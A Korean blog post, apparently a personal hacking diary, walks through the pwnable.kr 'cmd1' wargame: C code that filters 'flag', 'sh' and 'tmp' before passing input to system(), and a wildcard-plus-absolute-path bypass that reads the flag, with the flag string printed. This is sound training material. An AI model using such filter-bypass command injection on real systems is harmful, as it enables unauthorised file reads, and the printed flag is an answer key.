Yozzang의 해킹일기 💻
article thumbnail
Published 2022. 7. 12. 00:39
Pwnable (14. cmd1) Wargame/Pwnable
728x90

이번 포스트에서는 Pwnable의 cmd1 문제에 대해 다루겠다.

 


문제 코드는 다음과 같다.

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
        int r=0;
        r += strstr(cmd, "flag")!=0;
        r += strstr(cmd, "sh")!=0;
        r += strstr(cmd, "tmp")!=0;
        return r;
}
int main(int argc, char* argv[], char** envp){
        putenv("PATH=/thankyouverymuch");
        if(filter(argv[1])) return 0;
        system( argv[1] );
        return 0;
}

## 문제 해석 :

문제 코드를 살펴 보니, "flag", "sh", "tmp"를 필터링하는 filter() 함수가 있고 putenv() 함수를 통해 환경변수를 초기화하고 있다.

또한 우리의 입력(argv[1])을 실행해주는 system() 함수도 존재한다.

## 문제 풀이 :

필터링을 우회하여 flag를 실행해주면 된다. 여기서 환경변수를 초기화해줬기 때문에 "cat"라는 명령어를 실행하기 위해서는 "cat"이 아닌 "cat"의 절대경로인 "/bin/cat"을 실행해야 한다. 또한 flag가 필터링 처리되어 있으므로 "*"라는 와일드 카드를 이용하여 필터링을 우회하면 된다.

## 최종 결과 : 

### 공격문 : ./cmd1 "/bin/cat fl*"

### 실행 결과 :

공격 실행

Flag = mommy now I get what PATH environment is for :)

'Wargame > Pwnable' 카테고리의 다른 글

Pwnable (16. uaf)  (0) 2022.07.20
Pwnable (15. cmd2)  (0) 2022.07.13
Pwnable (13. lotto)  (0) 2022.07.11
Pwnable (12. blackjack)  (0) 2022.07.10
Pwnable (11. coin1)  (0) 2022.07.09
profile

Yozzang의 해킹일기 💻

@요짱

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!